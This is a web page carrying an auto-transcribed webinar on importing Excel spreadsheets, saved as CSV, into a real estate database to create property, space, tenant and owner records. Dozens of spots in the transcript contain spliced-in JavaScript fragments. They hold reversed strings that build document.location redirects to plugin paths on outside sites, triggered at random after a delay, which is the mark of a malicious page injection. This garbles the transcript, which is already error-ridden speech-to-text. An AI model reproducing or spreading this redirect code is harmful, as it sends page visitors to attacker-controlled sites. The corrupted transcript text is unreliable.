How To Populate Properties, Spaces & Contacts by Importing Excel Spreadsheets [Video]

0:00

thank you all for joining me toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today I we’ve got a fresh clean you are you

0:04

database burn you

0:06

miniseries women are here toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today’s session 1 on

0:09

importing data from Excel spreadsheets in here are you a database

0:13

there may be a little bit of confusion as I we have accidentally swapped around

0:17

be a a

0:24

okay there was a question about being muted out there’s over 100 people on

0:27

this webinar so i cant unfortunately I didn’t take questions toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to audio

0:31

as it would be a chaotic mess so any questions you have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to listen toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to that

0:35

type them toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and I’ll take in

0:36

at the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and up the webinar so toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today we’ll be talking about

0:40

importing intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to your re: 9 database so

0:44

I will there be importing from Excel spreadsheets intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to

0:47

Rean populating our properties spaces

0:51

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and contacts both tenants toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and owner data toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today

0:54

so this is the mini-series that’s a little bit more on the intermediate toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to

0:57

advanced side

0:58

as we just finished with the basics or however everything that you learning

1:02

here should scale pretty well so if you have

1:05

no basic knowledge are yet up

1:09

it will still be somewhat easy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to follow on most the concepts toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and this can go a

1:13

little bit more in-depth than I normally do on

1:15

a few the more advanced toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topics such as a expressions on the import

1:20

so first of many UN open up the folder that we will be

1:24

importing from toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today got a big spreadsheet data

1:28

folder here that use for all this toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and say we’re gonna be importing the spaces

1:33

CSP spreadsheet so this is the data were gonna be importing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and

1:37

now the concept here will a flight if you’re importing spaces or your boarding

1:41

properties contacts were ever take dad you want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to import

1:45

I’m just doing ok one of the more complex ones just a

1:48

cover that toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and any other type imports should be a little bit

1:53

easier then that’s so we’re doing it on those slightly more complex side that

1:57

way it’ll be easier toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to you up

1:59

about cover that simpler parts of it as well

2:03

so what our spreadsheet here we see that we have

2:06

information okay um

2:11

this anybody have audios anybody not as anybody at all able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hear me

2:23

cast so it’s just that one user probably has their us

2:27

computer muted some others continue on

2:31

okay perfect thank you so much for

2:34

all you replying so quickly throughout his first mini series %uh the first one

2:40

usually has a

2:41

quite a bit more people than that each subsequent ones so

2:44

I so this is the data will be importing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and so we see that we have the suite

2:49

number up the space that we’re importing

2:51

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and information about their lease the lease expiration we have the square

2:55

footage of the space that they lease

2:56

the property that the space is in

2:59

so if you notice all the sprawl the spaces are in one shopping center all of

3:04

pizza shop in centre

3:05

so right away ultimately I wanna see this toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and up in my RE a with

3:09

one property record each toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the spaces

3:12

linked that one property so got the property information columns

3:16

the through a cheer the property name address city state toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and zip intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the

3:20

property

3:21

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then %uh need toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the spaces we’re gonna want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have the

3:24

tenant who occupy that space where we have

3:28

these fields here we want those toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be year

3:33

I important links toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to each individual space

3:38

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then actually I can have messed around with this

3:41

spreadsheet a little bit so this is actually how it should be since it’s all

3:46

the same property

3:47

I also wanted all links back toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the owner for the

3:51

building itself so Joe John with general investoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors should be linked toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the last

3:55

piece a shopping centers the owner

3:57

we should import five spaces it toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to that property

4:00

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then happy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the space is late toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the property

4:04

as well as the tenant occupies that space so

4:07

it’s kind of like a property import plots in this case

4:10

so will still be doing a property import for anybody that doesn’t deal with

4:14

tenants but

4:15

in this specific instance it’s going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to also import

4:19

the tenants toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and LinkedIn there but all going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to explain but the differences

4:23

will be

4:23

as we go through so the first thing we need toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do is make sure that the format

4:27

of the file that we’re importing is correct

4:29

so mean of course the absolute first thing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to

4:33

thing up your II spreadsheet find any problems in the data

4:38

make up for example you want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go through any address fields

4:41

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and make sure that the addresses are consistent so like

4:44

on agassi’s for the same property owner make sure that you toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to these has same

4:48

exact information

4:49

so it should be 7935 Bay Drive all the way down

4:53

so this kind of thing up your dad a little better stead

4:56

a little bit I’m going through it making sure that our any problems are found

5:00

before htoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and in your spreadsheet will make your life a lot easier when you go

5:04

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to import the data finally in Taree a

5:06

so we have your spreadsheet all set toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and ready toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go like this

5:10

you have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do is say that as if it’s a normal Excel spreadsheet format like

5:14

XLS or xlsx so

5:17

it has toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be in specific format called CSB

5:20

so if you get a file toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and save as or in the case in

5:23

no cheats file save us for any person Excel

5:26

you wanna make sure that when you save it you save it as a CSV file

5:31

that means is here it’s the same as tight by default when you have an excel

5:35

file toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to your gonna be Excel workbook or Excel 97 the 2003 work but most likely

5:40

although there are some other formats that might show up from time toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to time

5:43

so you wanna make sure from this list toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to select

5:48

the type as CST comma delimited toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and so that

5:52

sttoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ands for comma-separated value which is a very generic

5:56

typeof up a bit very generic have a spreadsheet bed

6:01

has everything simplified down toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a what’s called a flat file

6:06

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and you can actually open up a CSV file like

6:10

a notepad on your computer toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and you’d see everything is just separated by

6:14

comets hence the in the format comma separated value

6:17

so up most every single

6:21

love CRM or

6:24

data sources like Google your contacts

6:27

outlook they’ll UCSB as they’re important

6:30

export format so it’s a pretty much it’s pretty much sttoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andard among

6:34

any data sources is up that format CSP so

6:37

you might come come across from time toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to time it wouldn’t be all that surprised

6:41

so once you have the spreadsheet already gone saved in the CSV format

6:45

now we’re ready toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to map the important Aria a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and what I mean by Matt the

6:49

import is tell are you

6:51

which column in Excel matt is up toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to which field in are you a

6:55

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and making important toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to multiple tables at the same time so the spreadsheet they

6:59

were going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be important toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today

7:00

is actually gonna be populating three or four different tables I don’t remember

7:04

what all’s in there I think it’s actually be at least four though

7:07

it’ll important toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be properties

7:10

it’ll import the spaces toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and link them toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the properties

7:14

it’ll import the owner %uh those properties toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then it’ll also import

7:18

tenants as contacts link toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the spaces

7:21

